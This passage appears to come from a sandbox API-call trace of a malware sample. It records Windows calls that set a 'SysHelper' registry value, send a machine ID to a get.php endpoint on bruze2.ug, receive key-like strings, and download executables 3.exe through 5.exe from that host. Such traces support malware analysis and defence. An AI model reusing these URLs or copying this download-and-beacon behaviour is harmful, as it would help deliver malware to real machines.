hHeap=0xd50000, dwFlags=0x0, lpMem=0xe4a280 | out: hHeap=0xd50000) returned 1 [0054.624] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38e5818 | out: hHeap=0xd50000) returned 1 [0054.624] InternetOpenUrlA (hInternet=0xcc0004, lpszUrl="http://bruze2.ug/files/penelop/3.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0055.151] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x389def0 | out: hHeap=0xd50000) returned 1 [0055.151] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0xa17d6d0, lpdwBufferLength=0xa17d710, lpdwIndex=0x0 | out: lpBuffer=0xa17d6d0*, lpdwBufferLength=0xa17d710*=0x4, lpdwIndex=0x0) returned 1 [0055.151] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fcc60 | out: hHeap=0xd50000) returned 1 [0055.151] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0010 [0055.151] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x30) returned 0x37fb830 [0055.151] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x850) returned 0x38e5818 [0055.151] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x37fb830, cbMultiByte=-1, lpWideCharStr=0x38e5818, cchWideChar=1064 | out: lpWideCharStr="http://bruze2.ug/files/penelop/4.exe") returned 37 [0055.151] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x860) returned 0x37fcc60 [0055.151] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38e5818 | out: hHeap=0xd50000) returned 1 [0055.151] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fb830 | out: hHeap=0xd50000) returned 1 [0055.151] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x860) returned 0x38e5818 [0055.152] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x828) returned 0xe4a280 [0055.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://bruze2.ug/files/penelop/4.exe", cchWideChar=-1, lpMultiByteStr=0xe4a280, cbMultiByte=2088, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://bruze2.ug/files/penelop/4.exe", lpUsedDefaultChar=0x0) returned 37 [0055.152] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x830) returned 0x389def0 [0055.152] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0xe4a280 | out: hHeap=0xd50000) returned 1 [0055.152] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38e5818 | out: hHeap=0xd50000) returned 1 [0055.152] InternetOpenUrlA (hInternet=0xcc0010, lpszUrl="http://bruze2.ug/files/penelop/4.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc0018 [0055.768] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x389def0 | out: hHeap=0xd50000) returned 1 [0055.768] HttpQueryInfoW (in: hRequest=0xcc0018, dwInfoLevel=0x20000013, lpBuffer=0xa17d6d0, lpdwBufferLength=0xa17d710, lpdwIndex=0x0 | out: lpBuffer=0xa17d6d0*, lpdwBufferLength=0xa17d710*=0x4, lpdwIndex=0x0) returned 1 [0055.768] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fcc60 | out: hHeap=0xd50000) returned 1 [0055.769] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc001c [0055.769] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x30) returned 0x37fb8a0 [0055.769] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x850) returned 0x38e5818 [0055.769] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x37fb8a0, cbMultiByte=-1, lpWideCharStr=0x38e5818, cchWideChar=1064 | out: lpWideCharStr="http://bruze2.ug/files/penelop/5.exe") returned 37 [0055.769] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x860) returned 0x37fcc60 [0055.769] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38e5818 | out: hHeap=0xd50000) returned 1 [0055.769] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fb8a0 | out: hHeap=0xd50000) returned 1 [0055.769] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x860) returned 0x38e5818 [0055.769] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x828) returned 0xe4a280 [0055.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://bruze2.ug/files/penelop/5.exe", cchWideChar=-1, lpMultiByteStr=0xe4a280, cbMultiByte=2088, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://bruze2.ug/files/penelop/5.exe", lpUsedDefaultChar=0x0) returned 37 [0055.769] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x830) returned 0x389def0 [0055.769] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0xe4a280 | out: hHeap=0xd50000) returned 1 [0055.769] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38e5818 | out: hHeap=0xd50000) returned 1 [0055.769] InternetOpenUrlA (hInternet=0xcc001c, lpszUrl="http://bruze2.ug/files/penelop/5.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc0024 [0056.370] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x389def0 | out: hHeap=0xd50000) returned 1 [0056.370] HttpQueryInfoW (in: hRequest=0xcc0024, dwInfoLevel=0x20000013, lpBuffer=0xa17d6d0, lpdwBufferLength=0xa17d710, lpdwIndex=0x0 | out: lpBuffer=0xa17d6d0*, lpdwBufferLength=0xa17d710*=0x4, lpdwIndex=0x0) returned 1 [0056.370] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fcc60 | out: hHeap=0xd50000) returned 1 [0056.370] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3812b08 | out: hHeap=0xd50000) returned 1 [0056.370] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37e6b30 | out: hHeap=0xd50000) returned 1 [0056.370] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3812700 | out: hHeap=0xd50000) returned 1 [0056.370] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fe800 | out: hHeap=0xd50000) returned 1 [0056.370] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fe848 | out: hHeap=0xd50000) returned 1 [0056.370] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fe890 | out: hHeap=0xd50000) returned 1 [0056.370] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37e66d0 | out: hHeap=0xd50000) returned 1 [0056.370] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37e6890 | out: hHeap=0xd50000) returned 1 [0056.370] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37e6820 | out: hHeap=0xd50000) returned 1 [0056.370] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37bcbd0 | out: hHeap=0xd50000) returned 1 [0056.370] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37d8a70 | out: hHeap=0xd50000) returned 1 [0056.370] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3812338 | out: hHeap=0xd50000) returned 1 Thread: id = 46 os_tid = 0x9d4 [0049.039] timeGetTime () returned 0x1b5c6 [0049.039] GetLastError () returned 0x54f [0049.039] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x3bc) returned 0x3811bf0 [0049.039] GetCurrentThreadId () returned 0x9d4 [0049.039] SetLastError (dwErrCode=0x54f) [0049.039] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion", ulOptions=0x0, samDesired=0xf003f, phkResult=0x1037a6e4 | out: phkResult=0x1037a6e4*=0x5c4) returned 0x0 [0049.039] RegQueryValueExW (in: hKey=0x5c4, lpValueName="SysHelper", lpReserved=0x0, lpType=0x1037a6d8, lpData=0x1037a6e0, lpcbData=0x1037a6dc*=0x4 | out: lpType=0x1037a6d8*=0x0, lpData=0x1037a6e0*=0x0, lpcbData=0x1037a6dc*=0x4) returned 0x2 [0049.039] RegSetValueExW (in: hKey=0x5c4, lpValueName="SysHelper", Reserved=0x0, dwType=0x4, lpData=0x1037a6e0*=0x1, cbData=0x4 | out: lpData=0x1037a6e0*=0x1) returned 0x0 [0049.040] RegCloseKey (hKey=0x5c4) returned 0x0 [0049.040] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0010 [0049.040] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0xa0) returned 0x37c9018 [0049.040] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x30) returned 0x37e6af8 [0049.040] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x840) returned 0x37f5d80 [0049.040] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x37e6af8, cbMultiByte=-1, lpWideCharStr=0x37f5d80, cchWideChar=1056 | out: lpWideCharStr="0E11F5E4125223A10BC64F8C25940F2B") returned 33 [0049.040] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x850) returned 0x37f65c8 [0049.040] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37f5d80 | out: hHeap=0xd50000) returned 1 [0049.040] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37e6af8 | out: hHeap=0xd50000) returned 1 [0049.040] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x8e0) returned 0x37f6e20 [0049.040] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37c9018 | out: hHeap=0xd50000) returned 1 [0049.040] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37f65c8 | out: hHeap=0xd50000) returned 1 [0049.040] lstrcpyW (in: lpString1=0x1037af78, lpString2="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php?pid=0E11F5E4125223A10BC64F8C25940F2B" | out: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php?pid=0E11F5E4125223A10BC64F8C25940F2B") returned="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php?pid=0E11F5E4125223A10BC64F8C25940F2B" [0049.040] lstrcatW (in: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php?pid=0E11F5E4125223A10BC64F8C25940F2B", lpString2="&first=true" | out: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php?pid=0E11F5E4125223A10BC64F8C25940F2B&first=true") returned="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php?pid=0E11F5E4125223A10BC64F8C25940F2B&first=true" [0049.040] InternetOpenUrlW (hInternet=0xcc0010, lpszUrl="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php?pid=0E11F5E4125223A10BC64F8C25940F2B&first=true", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc0018 [0050.050] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0x1037a778, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x1037a774 | out: lpBuffer=0x1037a778*, lpdwNumberOfBytesRead=0x1037a774*=0x67) returned 1 [0050.053] InternetCloseHandle (hInternet=0xcc0018) returned 1 [0050.055] InternetCloseHandle (hInternet=0xcc0010) returned 1 [0050.055] lstrlenA (lpString="{\"line1\":\"") returned 10 [0050.055] lstrcpyA (in: lpString1=0x1037ab78, lpString2="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}" | out: lpString1="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}" [0050.055] lstrcpyA (in: lpString1=0x1037a778, lpString2="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}" | out: lpString1="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}" [0050.055] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.055] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.055] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.055] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.055] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.055] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.055] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.055] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.055] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.055] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.055] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.055] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.055] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.055] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.055] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.055] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.055] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.055] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.055] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.055] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.055] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.055] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.055] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.056] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.056] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.056] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.056] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.056] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.056] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.056] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.056] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.056] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.056] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.056] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.056] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.056] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.056] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.056] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.056] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.056] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.056] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.056] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x60) returned 0x377f4d0 [0050.056] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x8ba) returned 0x37f8138 [0050.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x377f4d0, cbMultiByte=-1, lpWideCharStr=0x37f8138, cchWideChar=1117 | out: lpWideCharStr="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 94 [0050.056] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x8c0) returned 0x37f8a00 [0050.056] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37f8138 | out: hHeap=0xd50000) returned 1 [0050.056] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x377f4d0 | out: hHeap=0xd50000) returned 1 [0050.056] lstrcpyW (in: lpString1=0x464f20, lpString2="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}" | out: lpString1="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}" [0050.056] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37f8a00 | out: hHeap=0xd50000) returned 1 [0050.056] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 93 [0050.056] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0xbc) returned 0x3805700 [0050.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1037a778, cbMultiByte=-1, lpWideCharStr=0x3805700, cchWideChar=94 | out: lpWideCharStr="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 94 [0050.056] lstrcpyW (in: lpString1=0x464f20, lpString2="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}" | out: lpString1="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O\",\"line2\":\"H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}" [0050.056] lstrlenW (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O") returned 40 [0050.056] lstrlenA (lpString="\",\"line2\":\"") returned 11 [0050.056] lstrcpyA (in: lpString1=0x1037ab78, lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}" | out: lpString1="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}" [0050.057] lstrcpyA (in: lpString1=0x1037a778, lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}" | out: lpString1="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}" [0050.057] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.057] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.057] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.057] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.057] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.057] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.057] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.057] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.057] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.057] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.057] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.057] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.057] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.057] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.057] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.057] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.057] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.057] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.057] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.057] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.057] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.057] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.057] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.057] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 42 [0050.057] lstrlenA (lpString="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L\"}") returned 